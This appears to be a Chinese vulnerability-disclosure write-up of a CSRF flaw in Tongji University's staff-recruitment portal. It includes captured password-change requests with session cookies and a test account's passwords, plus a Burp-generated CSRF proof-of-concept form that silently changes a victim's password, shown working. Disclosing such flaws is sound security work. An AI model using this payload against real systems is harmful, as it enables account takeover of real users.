

时间	单位	作者	等级	Rank
2022-05-19 00:34:40	同济大学 (/list/firm/3760)	[REDACTED]	中危	0

无描述...

http://kh.tongji.edu.cn/rsfw/sys/zpglxt/index.do?customAppConfig=1#/grzx

测试账号 [REDACTED]

修改密码

* 旧密码

[REDACTED]

* 新密码

[REDACTED]

* 确认新密码

[REDACTED]

确定

取消

```
2 Host: kh.tongji.edu.cn
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101
4 Accept: application/json, text/javascript, */*; q=0.01
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 107
10 Origin: http://kh.tongji.edu.cn
11 Connection: close
12 Referer: http://kh.tongji.edu.cn/rsfw/sys/zpglxt/index.do?customAppConfig=1
13 Cookie: track_cookie_user_id=7495c3e2-5435-3071-3a19-10daa3410ccb; track_cookie=9e9af6fe-41c8-9088-c66e-026a247ca38d; _WEU=hDb3w5jm5ky9vwGUpmCd*T2apTuwQVDSOh4t40*KDRCrfgpLnTFLQCxCs*1ECsjrVy8pwMHlsxlgOXTEHVp4Czh; JSESSIONID=qivX7njqPxphEFFgl-WAbXsP4WVYC1HLqG6O5VJg8Wudhfy5oYwU!1267987110
14
15 data=%7B%22JMM%22%3A%22hh200385%22%2C%22XMM%22%3A%222003justaleaf%22%2C%22QRXMM%22%3A%22207D
```

先登录自己的制作csrf文件
fcmit.cc

CSRF PoC generator

Request to: <http://kh.tongji.edu.cn> Options ?

Pretty Raw Hex

1 POST /rsfw/sys/zpglxt/zpww/savePassword.do HTTP/1.1
2 Host: kh.tongji.edu.cn
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
4 Accept: application/json, text/javascript, */*; q=0.01
5 Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Inspector

Request Attributes 2
Request Query Parameters 0
Request Body Parameters 1
Request Cookies 5
Request Headers 12

CSRF HTML:

```
1 <html>  
2 <!-- CSRF PoC - generated by Burp Suite Professional -->  
3 <body>  
4 <script>history.pushState('', '', '/')</script>  
5 <form action="http://kh.tongji.edu.cn/rsfw/sys/zpglxt/zpww/savePassword.do" method="POST"  
6 <input type="hidden" name="data" value="&#123;&quot;JMM&quot;&#58;&quot;hh200385&quot;&#44;  
7 <input type="submit" value="Submit request" />  
8 </form>  
9 </body>  
10 </html>  
11
```

fcmit.cc

Regenerate Test in browser Copy HTML Close

这里将器粘贴在公网服务器下保存为html文件这里以本地测试

File Explorer: C:\pnpstud... > www

名称	修改日期	类型	大小
192.0.0.7	2022/3/28 10:15	文件夹	
DVWA	2022/1/5 23:21	文件夹	
error	2022/1/1 18:40	文件夹	
phpMyAdmin4.8.5	2022/1/11 11:52	文件夹	
pikachu	2022/1/11 18:20	文件夹	
pikachu-master	2022/3/15 18:14	文件夹	
sqli-labs	2022/3/18 0:07	文件夹	
upload-labs	2022/3/18 14:32	文件夹	
xss	2022/3/28 11:23	文件夹	
123.php	2022/4/12 17:56	PHP 源文件	
csrf.html	2022/5/19 0:28	Microsoft Edge ...	
getcookie.php	2022/1/10 18:28	PHP 源文件	
index.html	2019/9/3 14:30	Microsoft Edge ...	

粘贴放在本地文件夹下制作html文件

intercept http history websockets history Options

Request to http://kh.tongji.edu.cn:80 [202.120.170.23]

Forward Drop Intercept is on Action Open Browser

Pretty Raw Hex

```
POST /rsfw/sys/zpglxt/zpww/savePassword.do HTTP/1.1
Host: kh.tongji.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 107
Origin: http://kh.tongji.edu.cn
Connection: close
Referer: http://kh.tongji.edu.cn/rsfw/sys/zpglxt/index.do?customAppConfig=1
Cookie: track_cookie_user_id =7495c3e2-5435-3071-3a19-10daa3410ccb ; track_cookie_
```

教职工招聘 × kh.tongji.edu.cn/rsfw/sys/zpglxt/ × +

← → ↻ 127.0.0.1/csrf.html 接下来开始测试
用户打开页面同时访问html文件位置查看是否可以修改密码

📁 火狐官方网站 📁 新手上路 📁 常 127.0.0.1/csrf.html — 访问

将修改密码的包丢弃关闭抓包

教职工招聘 × kh.tongji.edu.cn/rsfw/sys/zpglxt/ × +

← → ↻ kh.tongji.edu.cn/rsfw/sys/zpglxt/zpww/sa

📁 火狐官方网站 📁 新手上路 📁 常用网址 🌐 京东商城 📁 Typecho-反序列化漏... ☁

JSON 原始数据 头

保存 复制 全部折叠 全部展开 过滤 JSON

success: true

修改成功

教职工招聘 × kh.tongji.edu.cn/rsfw/sys/zpglxt/ × +

接下来测试当用户打开页面 127.0.0.1/csrf.html

📁 火狐官方网站 📁 新手上路 📁 常